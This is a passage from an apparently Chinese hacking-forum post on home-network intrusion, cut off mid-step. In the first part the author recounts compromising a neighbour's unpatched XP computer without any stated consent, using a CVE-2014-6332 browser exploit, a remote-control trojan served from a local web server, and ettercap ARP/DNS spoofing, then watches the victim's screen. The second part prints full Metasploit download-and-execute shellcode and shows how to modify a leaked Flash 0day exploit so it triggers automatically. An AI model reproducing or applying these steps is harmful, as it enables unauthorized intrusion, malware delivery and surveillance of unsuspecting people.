论坛 › 工控物联网安全::『Internet of things security』 › 家庭内网渗透大杂烩

admin 发表于 2022-3-31 02:05:55

家庭内网渗透大杂烩

<p align="left" style="margin:0cm 0cm 0.0001pt;text-align:left;">
        <br />
</p>
<p align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
        <b><span style="background:white;color:green;font-family:宋体;">闲来无事，就想着写一篇内网渗透大杂烩的文章，之前用莲花仙子账号写的两篇内网渗透文章分别为渗透测试某大型局域网、渗透测试某大型局域网网关防火墙，现如今号都被删了，哎！之前那个账号</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">10rank</span></b><b><span style="background:white;color:green;font-family:宋体;">，多么可惜啊！好了我们长话短说步入正题！</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><b><span style="background:white;color:green;font-family:宋体;">第一篇</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">&nbsp;&nbsp;</span></b><b><span style="background:white;color:green;font-family:宋体;">利用</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">CVE-2014-6332 IE</span></b><b><span style="background:white;color:green;font-family:宋体;">全版本漏洞入侵邻居</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">XP</span></b><b><span style="background:white;color:green;font-family:宋体;">电脑</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">&nbsp; &nbsp;&nbsp;&nbsp;</span></span><span style="background:white;color:#444444;font-family:宋体;">首先开篇的是入侵邻居的电脑，邻居是个电脑盲，我所了解的情况是</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">2011</span><span style="background:white;color:#444444;font-family:宋体;">年买了电脑，几乎不怎么用，而且也不安装杀毒，估计补丁都不会打吧，就星期天用一下，正好今天周末，于是乎就开始下面的渗透过程。首先</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">net view</span><span style="background:white;color:#444444;font-family:宋体;">（这里就不用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">nmap</span><span style="background:white;color:#444444;font-family:宋体;">扫了）如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="600" height="287" src="https://www.2k8.org/content/uploadfile/202203/17/9a326117.png" alt="1-1.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">Zhongce</span></span><span style="background:white;color:#444444;font-family:宋体;">那台是我的，我们</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ping</span><span style="background:white;color:#444444;font-family:宋体;">一下</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ping BBLBX6GQE624W88</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="600" height="403" src="https://www.2k8.org/content/uploadfile/202203/17/a759186b.png" alt="1-2.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">USER-20150620EZ</span></span><span style="background:white;color:#444444;font-family:宋体;">这个就不用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">Ping</span><span style="background:white;color:#444444;font-family:宋体;">了是我的物理主机名，</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">OK</span><span style="background:white;color:#444444;font-family:宋体;">，既然没打补丁，那就不用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">nessus</span><span style="background:white;color:#444444;font-family:宋体;">扫描了，直接测试</span><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">CVE-2014-6332 IE</span></b><b><span style="background:white;color:green;font-family:宋体;">全版本漏洞</span></b><span style="background:white;color:#444444;font-family:宋体;">了，我们需要搭建一个</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">web</span><span style="background:white;color:#444444;font-family:宋体;">环境这里我用小旋风，先配置一个远控木马如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="377" src="https://www.2k8.org/content/uploadfile/202203/17/483266d7.png" alt="1-3.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">192.168.0.104</span></span><span style="background:white;color:#444444;font-family:宋体;">是我的物理</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ip</span><span style="background:white;color:#444444;font-family:宋体;">，然后选择域名上线方式，生成木马丢到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">web</span><span style="background:white;color:#444444;font-family:宋体;">跟木下，下面我们用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">k8</span><span style="background:white;color:#444444;font-family:宋体;">飞刀工具来生成一个网马，点编码然后输入木马地址：</span><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"><a href="http://192.168.0.104:89/server.exe" target="_blank"><span style="font-size:10.5pt;font-family:&quot;color:#333333;background:white;">http://192.168.0.104:89/server.exe</span></a></span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后点右键</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">hacking-0day-ie</span><span style="background:white;color:#444444;font-family:宋体;">全版本漏洞，生成网马如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="600" height="400" src="https://www.2k8.org/content/uploadfile/202203/17/9dc01d18.png" alt="1-4.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后我们把网名名称改为：</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">index.htm</span><span style="background:white;color:#444444;font-family:宋体;">然后丢到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kai linux /var/www/html/</span><span style="background:white;color:#444444;font-family:宋体;">下面</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="600" height="367" src="https://www.2k8.org/content/uploadfile/202203/17/de9a2eca.png" alt="1-5.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们的思路是通过</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap</span><span style="background:white;color:#444444;font-family:宋体;">来</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">dns+arp</span><span style="background:white;color:#444444;font-family:宋体;">攻击的方法来使</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">xp</span><span style="background:white;color:#444444;font-family:宋体;">种木马，对了记得执行</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">service apache2 start</span><span style="background:white;color:#444444;font-family:宋体;">命令启动</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kali web</span><span style="background:white;color:#444444;font-family:宋体;">服务，下面我们来设置一下</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">etteracap</span><span style="background:white;color:#444444;font-family:宋体;">的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">etter.dns</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="286" src="https://www.2k8.org/content/uploadfile/202203/17/dd69fa40.png" alt="1-6.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<span style="background:white;">192.168.0.113</span></span><span style="background:white;color:#444444;font-family:宋体;">为</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">kali</span><span style="background:white;color:#444444;font-family:宋体;">的</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ip</span><span style="background:white;color:#444444;font-family:宋体;">地址，然后</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ettercap -G</span><span style="background:white;color:#444444;font-family:宋体;">启动图形化界面，点</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="599" height="363" src="https://www.2k8.org/content/uploadfile/202203/17/bdbf0d10.png" alt="1-7.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后选择</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">eth0</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="599" height="334" src="https://www.2k8.org/content/uploadfile/202203/17/b71eb60c.png" alt="1-8.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后选择</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">hostlist</span><span style="background:white;color:#444444;font-family:宋体;">，如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="584" height="318" src="https://www.2k8.org/content/uploadfile/202203/17/49d2e5b0.png" alt="1-9.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">前面我们已经</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">Ping</span><span style="background:white;color:#444444;font-family:宋体;">过了</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">xp</span><span style="background:white;color:#444444;font-family:宋体;">系统</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ip</span><span style="background:white;color:#444444;font-family:宋体;">为</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">192.168.0.116</span><span style="background:white;color:#444444;font-family:宋体;">，那么我们就把这个目标加到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">Target1</span><span style="background:white;color:#444444;font-family:宋体;">，然后把网关地址加到</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">Target2</span><span style="background:white;color:#444444;font-family:宋体;">，然后在按照如图操作：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="601" height="298" src="https://www.2k8.org/content/uploadfile/202203/17/f352a8de.png" alt="1-10.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后选择</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">Plugins</span><span style="background:white;color:#444444;font-family:宋体;">，选择</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="342" src="https://www.2k8.org/content/uploadfile/202203/17/e951c4b4.png" alt="1-11.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">双击以后，然后开始</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="453" src="https://www.2k8.org/content/uploadfile/202203/17/a74ba7d6.png" alt="1-12.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">大概过了半分钟发现有主机上线，哈哈欺骗成功了</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="600" height="327" src="https://www.2k8.org/content/uploadfile/202203/17/3a55d79c.png" alt="1-13.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们打开屏幕看看</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><img width="600" height="345" src="https://www.2k8.org/content/uploadfile/202203/17/ec73cab9.png" alt="1-14.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">他肯定是看视屏然后发现看不了了就打开</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">hao123</span><span style="background:white;color:#444444;font-family:宋体;">测试网络，哈哈我们不要搞什么破坏卸载掉木马。。。这样渗透测试邻居</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">XP</span><span style="background:white;color:#444444;font-family:宋体;">的渗透过程就完结了。。。</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><b><span style="background:white;color:green;font-family:宋体;">第二篇</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">&nbsp;&nbsp;flash 0day</span></b><b><span style="background:white;color:green;font-family:宋体;">之手工修改代码利用</span></b><b><span lang="EN-US" style="background:white;color:green;font-family:Verdana,sans-serif;">msf</span></b><b><span style="background:white;color:green;font-family:宋体;">制作下载者实例入侵演示</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><b><span style="background:white;color:#444444;font-family:宋体;">利用到的工具：</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;"><br />
Msf<br />
Ettercap<br />
Adobe Flash CS6<br />
Hacking Team Flash 0day-</span></b><b><span style="background:white;color:#444444;font-family:宋体;">可冲破</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">Chrome</span></b><b><span style="background:white;color:#444444;font-family:宋体;">沙盒</span></b><b><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">-Evil0X</span></b><b><span style="background:white;color:#444444;font-family:宋体;">源代码一份</span></b><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<span style="background:white;">&nbsp;&nbsp;</span></span><span style="background:white;color:#444444;font-family:宋体;">下面我们就开始演示入侵，利用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span style="background:white;color:#444444;font-family:宋体;">生成</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">shellcode,</span><span style="background:white;color:#444444;font-family:宋体;">首先打开</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span style="background:white;color:#444444;font-family:宋体;">执行</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">use windows/download_exec</span><span style="background:white;color:#444444;font-family:宋体;">，</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">show options</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="558" height="268" src="https://www.2k8.org/content/uploadfile/202203/17/ff8260e7.png" alt="2-1.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">set EXE system.exe,</span><span style="background:white;color:#444444;font-family:宋体;">再执行</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">set URL,</span><span style="background:white;color:#444444;font-family:宋体;">需要说明一下</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">URL</span><span style="background:white;color:#444444;font-family:宋体;">就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">:</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="281" src="https://www.2k8.org/content/uploadfile/202203/17/c2282b79.png" alt="2-2.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后执行</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">generate -t dword</span><span style="background:white;color:#444444;font-family:宋体;">生成</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">shellcode</span><span style="background:white;color:#444444;font-family:宋体;">，如下：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="295" src="https://www.2k8.org/content/uploadfile/202203/17/833af9c2.png" alt="2-3.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">复制代码到文本下便于我们一会编辑</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">flash exp</span><span style="background:white;color:#444444;font-family:宋体;">，如下：</span><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x0089e8</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">fc</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x65747379, 0x78652e6d, 0x6beb0065, 0x505</span><span lang="EN-US" style="color:#E6DB74;font-family:宋体;font-size:12.0pt;">fc</span><span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, </span>
</p>
<p align="left" style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:left;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#444444;font-family:宋体;font-size:12.0pt;">0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000</span>
</p>
<p align="left" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:left;text-justify:inter-ideograph;">
        <span style="background:white;color:#444444;font-family:宋体;">下面我们来修改</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">flash 0day exp</span><span style="background:white;color:#444444;font-family:宋体;">，需要修改三个文件，分别为：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
<br />
</span><img width="601" height="328" src="https://www.2k8.org/content/uploadfile/202203/17/f86a8bf0.png" alt="2-4.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">先修改</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ShellWin32.as</span><span style="background:white;color:#444444;font-family:宋体;">，部分源代码如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="303" src="https://www.2k8.org/content/uploadfile/202203/17/72c372e7.png" alt="2-5.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">我们需要把标记处</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">[]</span><span style="background:white;color:#444444;font-family:宋体;">中的代码改成用</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">msf</span><span style="background:white;color:#444444;font-family:宋体;">生成的代码，修改后如下</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="600" height="323" src="https://www.2k8.org/content/uploadfile/202203/17/499f94a4.png" alt="2-6.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后保存，</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">ShellWin64.as</span><span style="background:white;color:#444444;font-family:宋体;">的修改方法如上述，不再演示，下面我们来修改</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">myclass.as,</span><span style="background:white;color:#444444;font-family:宋体;">这里需要说明一下，因为此</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">exp</span><span style="background:white;color:#444444;font-family:宋体;">生成的利用程序，不能直接自动触发</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">flash</span><span style="background:white;color:#444444;font-family:宋体;">漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">myclass</span><span style="background:white;color:#444444;font-family:宋体;">的某个字符</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">doc.addchild(btn);</span><span style="background:white;color:#444444;font-family:宋体;">如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="601" height="362" src="https://www.2k8.org/content/uploadfile/202203/17/1ac9a22a.png" alt="2-7.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
</span><span style="background:white;color:#444444;font-family:宋体;">换行在后面加一句</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">TryExpl();</span><span style="background:white;color:#444444;font-family:宋体;">注意是</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">l</span><span style="background:white;color:#444444;font-family:宋体;">不是数字</span><span lang="EN-US" style="background:white;color:#444444;font-family:Verdana,sans-serif;">1</span><span style="background:white;color:#444444;font-family:宋体;">，然后如图：</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><img width="553" height="316" src="https://www.2k8.org/content/uploadfile/202203/17/53212752.png" alt="2-8.png" style="vertical-align:middle;" /><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
<br />
</span><span style="background:white;color:#444444;font-family:宋体;">然后点保存，下面我们来编译一下，打开</span><span lang="EN-US" style="color:#444444;font-family:Verdana,sans-serif;"><br />
